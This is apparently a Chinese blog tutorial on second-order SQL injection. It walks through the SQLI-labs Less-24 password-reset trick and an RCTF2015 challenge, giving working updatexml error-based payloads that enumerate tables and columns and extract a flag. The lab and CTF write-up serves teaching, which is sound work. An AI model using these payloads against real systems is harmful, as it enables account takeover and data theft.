SQL注入之二次注入详解及其实践

二次注入是什么?

简单可以理解为,攻击者将构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。

二次注入很难被扫描工具发现,一般在审计代码过程中发现。前端和黑盒测试很难看到,在CTF比赛中可以凭借经验猜测。

注入条件

两次注入分别是插入恶意数据、利用恶意数据。

  • 用户向数据库插入恶意数据,即使后端对语句做了转义,如mysql_escape_string、mysql_real_escape_string等函数
  • 数据库能够将恶意数据取出

靶场实例(SQLI DUMB SERIES-24)

进入注册页面,用户名输入 admin'# ,这里是第一次注入,注入恶意数据。由于#在sql语言中是注释符,所以#后面的语句都会失效。

接着用注册的用户登录之后,在修改密码页面修改密码,即可修改admin用户的密码,此处为二次注入,原理如下:

# 修改密码的sql逻辑
update users set password='$new_pass' where username='$user' and password='$old_pass';

# 如果是admin'# ,#符号之后的语句将会被忽略
update users set password='$new_pass' where username='admin'# and password='$old_pass';

CTF真题实例([RCTF2015]EasySQL)

经验总结

这个题目是二次注入加报错注入,打开后发现题目有注册页面和修改密码页面,应该想到可能是二次注入,且在修改密码页面无任何回显信息,此时影响到是报错注入。

注册页面,首先尝试注册admin用户,但是提示已经注册,尝试使用二次注入的方法登录admin用户。首先,注册admin“#用户,然后修改密码,即可修改admin用户的密码。相关逻辑与靶场逻辑相同。

但是此题登录admin用户后,并没有flag,由于又注意到修改密码时,无任何回显且二次注入确实存在,所以,可能是二次注入+报错注入,注入点是username。

尝试注入(注册用户)的过程中,会提示invalid string,应该是屏蔽了某些关键字,使用burpsuite fuzz检测一下。

相关注入语句(username)

获取数据库名和相关信息
test"^(updatexml(1,concat(0x7e,database(),0x7e,user()),1))#
修改密码页面的结果 XPATH syntax error: '~web_sqli~root@localhost'

获取数据表
test"^(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)

where(table_schema=database())),0x7e),1))#
修改密码页面的结果 XPATH syntax error: '~article,flag,users~'


获取列名
test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)

where(table_name='flag'))),1)#
修改密码页面的结果 XPATH syntax error: '~flag'

爆数据库内容
test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#
修改密码页面的结果 XPATH syntax error: '~RCTF{Good job! But flag not her'

实际上在user下面,此处要用到regexp正则来匹配,因为无法显示完全,其中&编码为%26
test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)

where(table_name='users')%26%26(column_name)regexp('^r'))),1)#
# XPATH syntax error: ':real_flag_1s_here'

获取flag
d"^(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)

where(real_flag_1s_here)regexp('^f'))),1))#
# XPATH syntax error: 'flag{6ad2ef8e-7126-4cf2-aa6b-793'
Reverse逆序
test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))

from(users)where(real_flag_1s_here)regexp('^f')))),1)#
XPATH syntax error: ':}529ae1cc6397-b6aa-2fc4-6217-e8'
逆序拼接即可
flag{6ad2ef8e-7126-4cf2-aa6b-7936cc1ea925}

消息盒子
# 您需要首次评论以获取消息 #
# 您需要首次评论以获取消息 #

只显示最新10条未读和已读信息